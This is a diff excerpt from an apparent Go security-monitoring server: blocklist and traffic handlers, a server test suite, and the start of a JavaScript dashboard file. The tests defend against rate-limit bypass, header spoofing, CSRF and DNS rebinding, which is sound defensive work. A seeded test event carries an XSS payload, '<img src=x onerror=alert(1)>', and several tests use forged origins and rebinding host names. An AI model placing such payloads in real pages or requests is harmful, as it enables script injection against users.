||||
case e := <-ch:
|
||||
if k := s.authKind(r); k != "session" && k != "bearer" {
|
||||
return
|
||||
}
|
||||
b, _ := json.Marshal(e)
|
||||
if _, err := fmt.Fprintf(w, "event: ev\ndata: %s\n\n", b); err != nil {
|
||||
return
|
||||
}
|
||||
fl.Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) blocklist(asJSON bool) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
min := 50.0
|
||||
if v, err := strconv.ParseFloat(q.Get("min_score"), 64); err == nil && v >= 0 {
|
||||
min = v
|
||||
}
|
||||
rangeName := q.Get("range")
|
||||
if rangeName == "" {
|
||||
rangeName = "7d"
|
||||
}
|
||||
// family=4 gives plain IPv4 addresses only (for ipset hash:ip and similar);
|
||||
// family=6 gives only the IPv6 /64 prefixes; the default lists both.
|
||||
family := q.Get("family")
|
||||
if family != "4" && family != "6" {
|
||||
family = "all"
|
||||
}
|
||||
var out []store.IPSummary
|
||||
for _, x := range s.allIPs(rangeName, q.Get("host")) {
|
||||
if x.Score < min || !x.Strong || x.Admin {
|
||||
continue
|
||||
}
|
||||
// every row is revalidated here, whatever its origin (a peer included)
|
||||
addr, ok := blockAddr(x.IP)
|
||||
if !ok || !core.IsGlobal(addr) || core.Ignored(s.opt.Ignore, addr.String()) {
|
||||
continue
|
||||
}
|
||||
if (family == "4" && !addr.Is4()) || (family == "6" && addr.Is4()) {
|
||||
continue
|
||||
}
|
||||
out = append(out, x)
|
||||
}
|
||||
if q.Get("download") == "1" {
|
||||
ext := "txt"
|
||||
if asJSON {
|
||||
ext = "json"
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="urutau-blocklist.`+ext+`"`)
|
||||
}
|
||||
if asJSON {
|
||||
type row struct {
|
||||
IP string `json:"ip"`
|
||||
Score float64 `json:"score"`
|
||||
Last int64 `json:"last"`
|
||||
Hosts []string `json:"hosts"`
|
||||
CC string `json:"cc,omitempty"`
|
||||
Country string `json:"country,omitempty"`
|
||||
City string `json:"city,omitempty"`
|
||||
ASN uint32 `json:"asn,omitempty"`
|
||||
ASOrg string `json:"as_org,omitempty"`
|
||||
}
|
||||
rows := make([]row, 0, len(out))
|
||||
for _, x := range out {
|
||||
s.opt.Store.Enrich(&x)
|
||||
rows = append(rows, row{x.IP, x.Score, x.Last, x.Hosts, x.CC, x.Country, x.City, x.ASN, x.ASOrg})
|
||||
}
|
||||
writeJSON(w, 200, map[string]any{"generated": s.opt.Now().Unix(), "min_score": min, "count": len(rows), "ips": rows})
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
var b strings.Builder
|
||||
for _, x := range out {
|
||||
b.WriteString(x.IP)
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
w.Write([]byte(b.String()))
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Server) traffic(w http.ResponseWriter, r *http.Request) {
|
||||
q := r.URL.Query()
|
||||
rg := store.ParseRange(q.Get("range")).Name
|
||||
domain := q.Get("domain")
|
||||
if domain == "" {
|
||||
domain = "all"
|
||||
}
|
||||
host := q.Get("host")
|
||||
if host == "" {
|
||||
host = "all"
|
||||
}
|
||||
self := s.opt.Store.Name()
|
||||
if host != "all" && host != self && (s.opt.Hub == nil || !s.opt.Hub.Has(host)) {
|
||||
writeJSON(w, http.StatusNotFound, map[string]string{"error": "unknown host"})
|
||||
return
|
||||
}
|
||||
var parts []store.TrafficData
|
||||
if host == "all" || host == self {
|
||||
parts = append(parts, s.opt.Store.TrafficSummary(rg, domain))
|
||||
}
|
||||
if s.opt.Hub != nil && host != self {
|
||||
only := ""
|
||||
if host != "all" {
|
||||
only = host
|
||||
}
|
||||
parts = append(parts, s.opt.Hub.Traffic(rg, domain, only)...)
|
||||
}
|
||||
out := store.MergeTraffic(host, parts)
|
||||
out.Domain = domain
|
||||
writeJSON(w, 200, out)
|
||||
}
|
||||
|
||||
// blockAddr parses a table key (address or IPv6 /64 prefix) into the address
|
||||
// that represents it. Zones and garbage are refused.
|
||||
func blockAddr(key string) (netip.Addr, bool) {
|
||||
if a, err := netip.ParseAddr(key); err == nil {
|
||||
return a, a.Zone() == ""
|
||||
}
|
||||
if p, err := netip.ParsePrefix(key); err == nil && p.Addr().Is6() && p.Bits() == 64 && p.Addr().Zone() == "" {
|
||||
return p.Addr(), true
|
||||
}
|
||||
return netip.Addr{}, false
|
||||
}
|
||||
|
||||
// hostAllowed checks the Host header against loopback names and the extra list.
|
||||
func hostAllowed(host string, extra []string) bool {
|
||||
h := strings.ToLower(host)
|
||||
if i := strings.LastIndexByte(h, ':'); i >= 0 && !strings.HasSuffix(h, "]") {
|
||||
h = h[:i]
|
||||
}
|
||||
h = strings.Trim(h, "[]")
|
||||
switch h {
|
||||
case "localhost", "127.0.0.1", "::1":
|
||||
return true
|
||||
}
|
||||
for _, e := range extra {
|
||||
if h == strings.ToLower(e) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,494 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
|
||||
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
|
||||
)
|
||||
|
||||
func setup(t *testing.T) (http.Handler, *store.Store) {
|
||||
st := store.New(store.Config{Name: "oracle", Version: "test"})
|
||||
st.Ingest(core.Event{Time: time.Now(), IP: "45.94.31.4", Cat: core.Exploit, Strong: true, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/<img src=x onerror=alert(1)>"})
|
||||
h := New(Options{Token: "user-token-0123456789-abcdefghijklmnop", PeerTokens: []string{"peer-token-0123456789-abcdefghijklmnopq"}, Version: "test", Store: st})
|
||||
return h, st
|
||||
}
|
||||
|
||||
func do(h http.Handler, method, path string, hdr map[string]string, form url.Values) *httptest.ResponseRecorder {
|
||||
var body *strings.Reader
|
||||
if form != nil {
|
||||
body = strings.NewReader(form.Encode())
|
||||
} else {
|
||||
body = strings.NewReader("")
|
||||
}
|
||||
r := httptest.NewRequest(method, path, body)
|
||||
r.RemoteAddr = "198.51.100.1:1234"
|
||||
if v, ok := hdr["X-Remote"]; ok {
|
||||
r.RemoteAddr = v
|
||||
delete(hdr, "X-Remote")
|
||||
}
|
||||
if form != nil {
|
||||
r.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
for k, v := range hdr {
|
||||
r.Header.Set(k, v)
|
||||
}
|
||||
w := httptest.NewRecorder()
|
||||
h.ServeHTTP(w, r)
|
||||
return w
|
||||
}
|
||||
|
||||
func TestHealthOpenAndAPIClosed(t *testing.T) {
|
||||
h, _ := setup(t)
|
||||
if w := do(h, "GET", "/api/health", nil, nil); w.Code != 200 || !strings.Contains(w.Body.String(), `"status":"ok"`) {
|
||||
t.Fatalf("health %d %s", w.Code, w.Body)
|
||||
}
|
||||
wrongN := 0
|
||||
for _, p := range []string{"/api/v1/summary", "/api/v1/ips", "/api/v1/ip/45.94.31.4", "/api/v1/blocklist.txt", "/api/v1/events/stream"} {
|
||||
if w := do(h, "GET", p, nil, nil); w.Code != 401 {
|
||||
t.Errorf("%s without auth: %d", p, w.Code)
|
||||
}
|
||||
wrongN++
|
||||
if w := do(h, "GET", p, map[string]string{"Authorization": "Bearer wrong", "X-Remote": fmt.Sprintf("198.51.100.%d:1", wrongN)}, nil); w.Code != 401 {
|
||||
t.Errorf("%s wrong token: %d", p, w.Code)
|
||||
}
|
||||
}
|
||||
if w := do(h, "GET", "/", nil, nil); w.Code != 303 || w.Header().Get("Location") != "/login" {
|
||||
t.Fatalf("index unauth: %d", w.Code)
|
||||
}
|
||||
w := do(h, "GET", "/api/health", nil, nil)
|
||||
csp := w.Header().Get("Content-Security-Policy")
|
||||
if !strings.Contains(csp, "default-src 'self'") || strings.Contains(csp, "unsafe-inline") || !strings.Contains(csp, "frame-ancestors 'none'") ||
|
||||
w.Header().Get("X-Content-Type-Options") != "nosniff" || w.Header().Get("Referrer-Policy") == "" {
|
||||
t.Fatalf("headers: %v", w.Header())
|
||||
}
|
||||
}
|
||||
|
||||
func TestBearerAndPeerToken(t *testing.T) {
|
||||
h, _ := setup(t)
|
||||
auth := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"}
|
||||
if w := do(h, "GET", "/api/v1/summary?range=1h", auth, nil); w.Code != 200 || !strings.Contains(w.Body.String(), "45.94.31.4") {
|
||||
t.Fatalf("summary %d %s", w.Code, w.Body)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/ip/45.94.31.4", auth, nil); w.Code != 200 || !strings.Contains(w.Body.String(), `"level":"low"`) {
|
||||
t.Fatalf("ip %d %s", w.Code, w.Body)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/ip/not-an-ip", auth, nil); w.Code != 400 {
|
||||
t.Fatal("bad ip")
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/ip/198.18.0.1", auth, nil); w.Code != 404 {
|
||||
t.Fatal("unknown ip")
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/blocklist.txt?min_score=5", auth, nil); w.Code != 200 || strings.TrimSpace(w.Body.String()) != "45.94.31.4" {
|
||||
t.Fatalf("blocklist %q", w.Body)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/blocklist.txt", auth, nil); strings.TrimSpace(w.Body.String()) != "" {
|
||||
t.Fatalf("score 8 must not pass min 50: %q", w.Body)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/summary?host=nope", auth, nil); w.Code != 404 {
|
||||
t.Fatalf("unknown host %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoginCookieAndRateLimit(t *testing.T) {
|
||||
loginBlockedDelay = 0
|
||||
h, _ := setup(t)
|
||||
bad := url.Values{"token": {"nope"}}
|
||||
for i := 0; i < 5; i++ {
|
||||
if w := do(h, "POST", "/login", nil, bad); w.Code != 303 || !strings.Contains(w.Header().Get("Location"), "e=bad") {
|
||||
t.Fatalf("try %d: %d %s", i, w.Code, w.Header().Get("Location"))
|
||||
}
|
||||
}
|
||||
// blocked: a wrong token gets 429 ...
|
||||
w := do(h, "POST", "/login", nil, bad)
|
||||
if w.Code != http.StatusTooManyRequests || w.Header().Get("Retry-After") == "" || w.Header().Get("Set-Cookie") != "" {
|
||||
t.Fatalf("blocked client with a wrong token: %d %v", w.Code, w.Header())
|
||||
}
|
||||
// ... but the correct token still signs the administrator in
|
||||
w = do(h, "POST", "/login", nil, url.Values{"token": {"user-token-0123456789-abcdefghijklmnop"}})
|
||||
if w.Code != 303 || w.Header().Get("Location") != "/" || w.Header().Get("Set-Cookie") == "" {
|
||||
t.Fatalf("the admin must not be locked out by an attacker burning the limit: %d %v", w.Code, w.Header())
|
||||
}
|
||||
// another IP is not affected; HTTPS via proxy header sets Secure
|
||||
r := httptest.NewRequest("POST", "/login", strings.NewReader("token=user-token-0123456789-abcdefghijklmnop"))
|
||||
r.RemoteAddr = "198.51.100.77:1"
|
||||
r.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
r.Header.Set("X-Forwarded-Proto", "https")
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, r)
|
||||
if rec.Code != 303 || rec.Header().Get("Location") != "/" {
|
||||
t.Fatalf("login %d %s", rec.Code, rec.Header().Get("Location"))
|
||||
}
|
||||
ck := rec.Result().Cookies()
|
||||
if len(ck) != 1 || !ck[0].HttpOnly || !ck[0].Secure || ck[0].SameSite != http.SameSiteStrictMode || ck[0].MaxAge != 12*3600 {
|
||||
t.Fatalf("cookie %+v", ck)
|
||||
}
|
||||
c := ck[0].Name + "=" + ck[0].Value
|
||||
if w := do(h, "GET", "/api/v1/summary", map[string]string{"Cookie": c}, nil); w.Code != 200 {
|
||||
t.Fatalf("cookie auth %d", w.Code)
|
||||
}
|
||||
if w := do(h, "GET", "/", map[string]string{"Cookie": c}, nil); w.Code != 200 {
|
||||
t.Fatalf("index with cookie %d", w.Code)
|
||||
}
|
||||
tampered := ck[0].Name + "=" + ck[0].Value[:len(ck[0].Value)-3] + "xxx"
|
||||
if w := do(h, "GET", "/api/v1/summary", map[string]string{"Cookie": tampered}, nil); w.Code != 401 {
|
||||
t.Fatalf("tampered cookie accepted: %d", w.Code)
|
||||
}
|
||||
// logout revokes the session server side: the stolen cookie stops working
|
||||
if w := do(h, "POST", "/logout", map[string]string{"Cookie": c}, url.Values{}); w.Code != 303 {
|
||||
t.Fatalf("logout %d", w.Code)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/summary", map[string]string{"Cookie": c}, nil); w.Code != 401 {
|
||||
t.Fatalf("a logged out cookie must be dead: %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSessionsAreRevocableAndExpire(t *testing.T) {
|
||||
s := newSessions()
|
||||
now := time.Now()
|
||||
id, _ := s.issue(now)
|
||||
if !s.valid(id, now.Add(11*time.Hour)) || s.valid(id, now.Add(13*time.Hour)) {
|
||||
t.Fatal("12h expiry")
|
||||
}
|
||||
id2, _ := s.issue(now)
|
||||
if id == id2 || len(id2) < 40 {
|
||||
t.Fatal("ids must be long and random")
|
||||
}
|
||||
s.revoke(id2)
|
||||
if s.valid(id2, now) {
|
||||
t.Fatal("a revoked session must stop working")
|
||||
}
|
||||
if newSessions().valid(id, now) {
|
||||
t.Fatal("a cookie from another process (restart) is not valid")
|
||||
}
|
||||
for i := 0; i < maxSessions*3; i++ {
|
||||
s.issue(now)
|
||||
}
|
||||
if len(s.ids) > maxSessions {
|
||||
t.Fatalf("session table is bounded: %d", len(s.ids))
|
||||
}
|
||||
if tokenEqual("a", "ab") || !tokenEqual("abc", "abc") {
|
||||
t.Fatal("tokenEqual")
|
||||
}
|
||||
}
|
||||
|
||||
func TestClientIP(t *testing.T) {
|
||||
trusted := mustPrefixes("172.16.0.0/12,10.0.0.0/8,127.0.0.0/8")
|
||||
r := httptest.NewRequest("GET", "/", nil)
|
||||
r.RemoteAddr = "198.51.100.1:5"
|
||||
r.Header.Set("X-Forwarded-For", "1.2.3.4")
|
||||
if clientIP(r, trusted) != "198.51.100.1" {
|
||||
t.Fatal("XFF must be ignored from an untrusted peer")
|
||||
}
|
||||
r.RemoteAddr = "172.18.0.2:5"
|
||||
r.Header.Set("X-Forwarded-For", "9.9.9.9, 203.0.113.9")
|
||||
if clientIP(r, trusted) != "203.0.113.9" {
|
||||
t.Fatal("the hop added by the trusted proxy is the client; the left side is attacker controlled")
|
||||
}
|
||||
r.Header.Set("X-Forwarded-For", "203.0.113.9, 172.18.0.7")
|
||||
if clientIP(r, trusted) != "203.0.113.9" {
|
||||
t.Fatal("chained trusted proxies are skipped")
|
||||
}
|
||||
r.Header.Set("X-Forwarded-For", "garbage")
|
||||
if clientIP(r, trusted) != "172.18.0.2" {
|
||||
t.Fatal("garbage falls back to the proxy address")
|
||||
}
|
||||
if clientIP(r, nil) != "172.18.0.2" {
|
||||
t.Fatal("no trusted proxy: never believe the header")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrafficEndpointAndPrivacy(t *testing.T) {
|
||||
h, st := setup(t)
|
||||
st.Traffic(core.Event{Time: time.Now(), IP: "200.1.2.3", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200,
|
||||
UA: "Mozilla", E: core.Enrich{CC: "BR", Browser: "Firefox", OS: "Linux", Device: "desktop"}})
|
||||
auth := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"}
|
||||
if w := do(h, "GET", "/api/v1/traffic", nil, nil); w.Code != 401 {
|
||||
t.Fatalf("traffic needs auth: %d", w.Code)
|
||||
}
|
||||
w := do(h, "GET", "/api/v1/traffic?range=24h&domain=a.example", auth, nil)
|
||||
if w.Code != 200 || !strings.Contains(w.Body.String(), `"visitors":1`) || !strings.Contains(w.Body.String(), `"BR"`) {
|
||||
t.Fatalf("traffic %d %s", w.Code, w.Body)
|
||||
}
|
||||
if strings.Contains(w.Body.String(), "200.1.2.3") {
|
||||
t.Fatal("visitor IP in the traffic API")
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/traffic?host=nope", auth, nil); w.Code != 404 {
|
||||
t.Fatal("unknown host")
|
||||
}
|
||||
if w := do(h, "GET", "/world.js", nil, nil); w.Code != 200 || !strings.Contains(w.Header().Get("Content-Type"), "javascript") {
|
||||
t.Fatalf("world.js %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func mustPrefixes(l string) []netip.Prefix {
|
||||
p, err := core.ParseCIDRs(l)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return p
|
||||
}
|
||||
|
||||
func federated(t *testing.T, mod func(*Options)) http.Handler {
|
||||
st := store.New(store.Config{Name: "oracle", Version: "test"})
|
||||
st.Ingest(core.Event{Time: time.Now(), IP: "45.94.31.4", Cat: core.Exploit, Strong: true, Source: "traefik", Method: "GET", Path: "/x"})
|
||||
o := Options{Token: "user-token-0123456789-abcdefghijklmnop", PeerTokens: []string{"peer-token-0123456789-abcdefghijklmnopq"}, Version: "test", Store: st,
|
||||
TrustedProxy: mustPrefixes("172.16.0.0/12")}
|
||||
if mod != nil {
|
||||
mod(&o)
|
||||
}
|
||||
return New(o)
|
||||
}
|
||||
|
||||
func TestPeerTokenOnlyOpensExport(t *testing.T) {
|
||||
h, _ := setup(t)
|
||||
peer := map[string]string{"Authorization": "Bearer peer-token-0123456789-abcdefghijklmnopq"}
|
||||
user := map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"}
|
||||
for _, p := range []string{"/api/v1/summary", "/api/v1/traffic", "/api/v1/ip/45.94.31.4", "/api/v1/ips", "/api/v1/events/stream",
|
||||
"/api/v1/blocklist.txt", "/api/v1/blocklist.json"} {
|
||||
if w := do(h, "GET", p, peer, nil); w.Code != http.StatusForbidden {
|
||||
t.Errorf("peer token on %s: %d (want 403)", p, w.Code)
|
||||
}
|
||||
if w := do(h, "GET", p, nil, nil); w.Code != http.StatusUnauthorized {
|
||||
t.Errorf("no credential on %s: %d (want 401)", p, w.Code)
|
||||
}
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/peer/export", nil, nil); w.Code != 401 {
|
||||
t.Fatalf("export without credential: %d", w.Code)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/peer/export", user, nil); w.Code != 401 {
|
||||
t.Fatalf("the user token must not open the export: %d", w.Code)
|
||||
}
|
||||
w := do(h, "GET", "/api/v1/peer/export?range=7d", peer, nil)
|
||||
if w.Code != 200 || !strings.Contains(w.Body.String(), `"v":1`) || !strings.Contains(w.Body.String(), "45.94.31.4") || !strings.Contains(w.Body.String(), `"traffic"`) {
|
||||
t.Fatalf("export %d %.200s", w.Code, w.Body)
|
||||
}
|
||||
// without a peer token configured the route does not exist
|
||||
h2 := federated(t, func(o *Options) { o.PeerTokens = nil })
|
||||
if w := do(h2, "GET", "/api/v1/peer/export", peer, nil); w.Code != 404 {
|
||||
t.Fatalf("federation disabled: %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPeerAllowAndRealClientIP(t *testing.T) {
|
||||
peer := map[string]string{"Authorization": "Bearer peer-token-0123456789-abcdefghijklmnopq"}
|
||||
h := federated(t, func(o *Options) { o.PeerAllow = mustPrefixes("203.0.113.0/24") })
|
||||
with := func(remote, xff string) *httptest.ResponseRecorder {
|
||||
hd := map[string]string{"Authorization": peer["Authorization"], "X-Remote": remote}
|
||||
if xff != "" {
|
||||
hd["X-Forwarded-For"] = xff
|
||||
}
|
||||
return do(h, "GET", "/api/v1/peer/export", hd, nil)
|
||||
}
|
||||
if w := with("198.51.100.9:1", ""); w.Code != 403 {
|
||||
t.Fatalf("outside the allow list: %d", w.Code)
|
||||
}
|
||||
if w := with("203.0.113.8:1", ""); w.Code != 200 {
|
||||
t.Fatalf("inside the allow list: %d", w.Code)
|
||||
}
|
||||
if w := with("198.51.100.9:1", "203.0.113.8"); w.Code != 403 {
|
||||
t.Fatalf("forged XFF from an untrusted source must not pass: %d", w.Code)
|
||||
}
|
||||
if w := with("172.18.0.2:1", "203.0.113.8"); w.Code != 200 {
|
||||
t.Fatalf("XFF from the trusted proxy is the real client: %d", w.Code)
|
||||
}
|
||||
if w := with("172.18.0.2:1", "198.51.100.77"); w.Code != 403 {
|
||||
t.Fatalf("real client outside the list behind the proxy: %d", w.Code)
|
||||
}
|
||||
if w := with("172.18.0.2:1", "203.0.113.8, 198.51.100.77"); w.Code != 403 {
|
||||
t.Fatalf("the proxy appended the real client on the right: %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoginRateLimitUsesRealClientBehindProxy(t *testing.T) {
|
||||
loginBlockedDelay = 0
|
||||
h := federated(t, nil)
|
||||
bad := url.Values{"token": {"nope"}}
|
||||
post := func(xff string, form url.Values) *httptest.ResponseRecorder {
|
||||
return do(h, "POST", "/login", map[string]string{"X-Remote": "172.18.0.2:5000", "X-Forwarded-For": xff}, form)
|
||||
}
|
||||
for i := 0; i < 5; i++ {
|
||||
post("203.0.113.1", bad)
|
||||
}
|
||||
if w := post("203.0.113.1", bad); w.Code != http.StatusTooManyRequests {
|
||||
t.Fatalf("the attacker is rate limited: %d", w.Code)
|
||||
}
|
||||
// everyone else behind the same Traefik can still fail and succeed
|
||||
if w := post("203.0.113.2", bad); w.Code != 303 {
|
||||
t.Fatalf("another client behind the same proxy must not be blocked: %d", w.Code)
|
||||
}
|
||||
// a fake hop on the left (attacker controlled) does not reset the limit
|
||||
if w := post("1.1.1.1, 203.0.113.1", bad); w.Code != http.StatusTooManyRequests {
|
||||
t.Fatalf("spoofed left hop must not reset the limit: %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLimiterAggregatesIPv6By64AndFailsClosedWhenFull(t *testing.T) {
|
||||
l := newLimiter()
|
||||
for i := 0; i < 5; i++ {
|
||||
l.failure(fmt.Sprintf("2001:db8:0:9:%x::1", i+1)) // five addresses of one /64
|
||||
}
|
||||
if l.blocked("2001:db8:0:9:ffff::7") == 0 {
|
||||
t.Fatal("the whole /64 must share one budget")
|
||||
}
|
||||
if l.blocked("2001:db8:0:a::1") != 0 {
|
||||
t.Fatal("another /64 is unaffected")
|
||||
}
|
||||
// a full table evicts the oldest entry, not everything
|
||||
l2 := newLimiter()
|
||||
base := time.Now()
|
||||
l2.now = func() time.Time { base = base.Add(time.Millisecond); return base }
|
||||
for i := 0; i < 5; i++ {
|
||||
l2.failure("9.9.9.9")
|
||||
}
|
||||
for i := 0; i < maxLimiterIP+50; i++ {
|
||||
l2.failure(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
|
||||
}
|
||||
if len(l2.fail) > maxLimiterIP {
|
||||
t.Fatalf("limiter table unbounded: %d", len(l2.fail))
|
||||
}
|
||||
if l2.blocked("10.0.1.200") != 0 && len(l2.fail) == 0 {
|
||||
t.Fatal("never forget everybody at once")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBearerGuessingOnTheAPICountsAndBlocks(t *testing.T) {
|
||||
h := federated(t, nil)
|
||||
var last int
|
||||
for i := 0; i < 8; i++ {
|
||||
last = do(h, "GET", "/api/v1/summary", map[string]string{"Authorization": "Bearer guess" + fmt.Sprint(i)}, nil).Code
|
||||
}
|
||||
if last != http.StatusTooManyRequests {
|
||||
t.Fatalf("guessing the token on the API must end in 429, got %d", last)
|
||||
}
|
||||
if w := do(h, "GET", "/api/v1/summary", map[string]string{"Authorization": "Bearer user-token-0123456789-abcdefghijklmnop"}, nil); w.Code != 200 {
|
||||
t.Fatalf("the right token still works from a blocked address: %d", w.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrossSiteFormPostsAreRefused(t *testing.T) {
|
||||
h := federated(t, nil)
|
||||
form := url.Values{"token": {"user-token-0123456789-abcdefghijklmnop"}}
|
||||
for name, hd := range map[string]map[string]string{
|
||||
"sec-fetch-site": {"Sec-Fetch-Site": "cross-site"},
|
||||
"foreign origin": {"Origin": "https://evil.example"},
|
||||
"null origin": {"Origin": "null"},
|
||||
} {
|
||||
for _, p := range []string{"/login", "/logout"} {
|
||||
if w := do(h, "POST", p, hd, form); w.Code != http.StatusForbidden || w.Header().Get("Set-Cookie") != "" {
|
||||
t.Errorf("%s %s: %d", name, p, w.Code)
|
||||
}
|
||||
}
|
||||
}
|
||||
r := httptest.NewRequest("POST", "/login", strings.NewReader(form.Encode()))
|
||||
r.Host = "urutau.example.org"
|
||||
r.RemoteAddr = "198.51.100.5:1"
|
||||
r.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
r.Header.Set("Origin", "https://urutau.example.org")
|
||||
r.Header.Set("Sec-Fetch-Site", "same-origin")
|
||||
w := httptest.NewRecorder()
|
||||
h.ServeHTTP(w, r)
|
||||
if w.Code != 303 || w.Header().Get("Location") != "/" {
|
||||
t.Fatalf("same-origin login must work: %d %s", w.Code, w.Header().Get("Location"))
|
||||
}
|
||||
// Chrome sends "Origin: null" for a same-origin POST under some referrer policies
|
||||
r2 := httptest.NewRequest("POST", "/login", strings.NewReader(form.Encode()))
|
||||
r2.RemoteAddr = "198.51.100.6:1"
|
||||
r2.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
r2.Header.Set("Origin", "null")
|
||||
r2.Header.Set("Sec-Fetch-Site", "same-origin")
|
||||
w2 := httptest.NewRecorder()
|
||||
h.ServeHTTP(w2, r2)
|
||||
if w2.Code != 303 || w2.Header().Get("Location") != "/" {
|
||||
t.Fatalf("same-origin POST with a null Origin must work: %d", w2.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInsecureNoAuthRefusesForeignHostHeaders(t *testing.T) {
|
||||
st := store.New(store.Config{Name: "x"})
|
||||
h := New(Options{NoAuth: true, Store: st, AllowHosts: []string{"127.0.0.1"}})
|
||||
get := func(host string) int {
|
||||
r := httptest.NewRequest("GET", "/api/v1/summary", nil)
|
||||
r.Host = host
|
||||
w := httptest.NewRecorder()
|
||||
h.ServeHTTP(w, r)
|
||||
return w.Code
|
||||
}
|
||||
for _, ok := range []string{"localhost", "localhost:8790", "127.0.0.1:8790", "[::1]:8790", "127.0.0.1"} {
|
||||
if c := get(ok); c != 200 {
|
||||
t.Errorf("%s: %d", ok, c)
|
||||
}
|
||||
}
|
||||
for _, bad := range []string{"evil.example", "evil.example:8790", "127.0.0.1.evil.example", "192.168.1.5"} {
|
||||
if c := get(bad); c != 403 {
|
||||
t.Errorf("DNS rebinding host %q accepted: %d", bad, c)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoginBodyLimitAndServerLimits(t *testing.T) {
|
||||
h := federated(t, nil)
|
||||
big := url.Values{"token": {strings.Repeat("a", 20000)}}
|
||||
if w := do(h, "POST", "/login", nil, big); w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("oversized login body: %d", w.Code)
|
||||
}
|
||||
if w := do(h, "GET", "/api/health", nil, nil); strings.Contains(w.Body.String(), "version") {
|
||||
t.Fatal("/api/health must not expose the version")
|
||||
}
|
||||
srv := HTTPServer(h, context.Background())
|
||||
if srv.ReadHeaderTimeout <= 0 || srv.ReadTimeout <= 0 || srv.WriteTimeout <= 0 || srv.IdleTimeout <= 0 || srv.MaxHeaderBytes <= 0 || srv.MaxHeaderBytes > 64<<10 {
|
||||
t.Fatalf("server limits not set: %+v", srv)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSSEClientLimit(t *testing.T) {
|
||||
ts := httptest.NewServer(federated(t, nil))
|
||||
defer ts.Close()
|
||||
var open []*http.Response
|
||||
defer func() {
|
||||
for _, r := range open {
|
||||
r.Body.Close()
|
||||
}
|
||||
}()
|
||||
get := func() *http.Response {
|
||||
req, _ := http.NewRequest("GET", ts.URL+"/api/v1/events/stream", nil)
|
||||
req.Header.Set("Authorization", "Bearer user-token-0123456789-abcdefghijklmnop")
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return resp
|
||||
}
|
||||
for i := 0; i < maxSSE; i++ {
|
||||
r := get()
|
||||
if r.StatusCode != 200 {
|
||||
t.Fatalf("stream %d: %d", i, r.StatusCode)
|
||||
}
|
||||
open = append(open, r)
|
||||
}
|
||||
over := get()
|
||||
over.Body.Close()
|
||||
if over.StatusCode != http.StatusServiceUnavailable {
|
||||
t.Fatalf("stream over the limit: %d", over.StatusCode)
|
||||
}
|
||||
open[0].Body.Close()
|
||||
deadline := time.Now().Add(3 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
r := get()
|
||||
if r.StatusCode == 200 {
|
||||
open = append(open, r)
|
||||
return
|
||||
}
|
||||
r.Body.Close()
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("a closed stream must free its slot")
|
||||
}
|
||||
@@ -0,0 +1,714 @@
|
||||
(function () {
|
||||
'use strict';
|
||||
var D = window.URUTAU_I18N;
|
||||
var $ = function (s, r) { return (r || document).querySelector(s); };
|
||||
function lsGet(k) { try { return localStorage.getItem(k); } catch (e) { return null; } }
|
||||
function lsSet(k, v) { try { localStorage.setItem(k, v); } catch (e) { /* ignore */ } }
|
||||
|
||||
var lang = lsGet('urutau.lang') || ((navigator.language || 'en').toLowerCase().indexOf('pt') === 0 ? 'pt-BR' : 'en');
|
||||
if (!D[lang]) lang = 'en';
|
||||
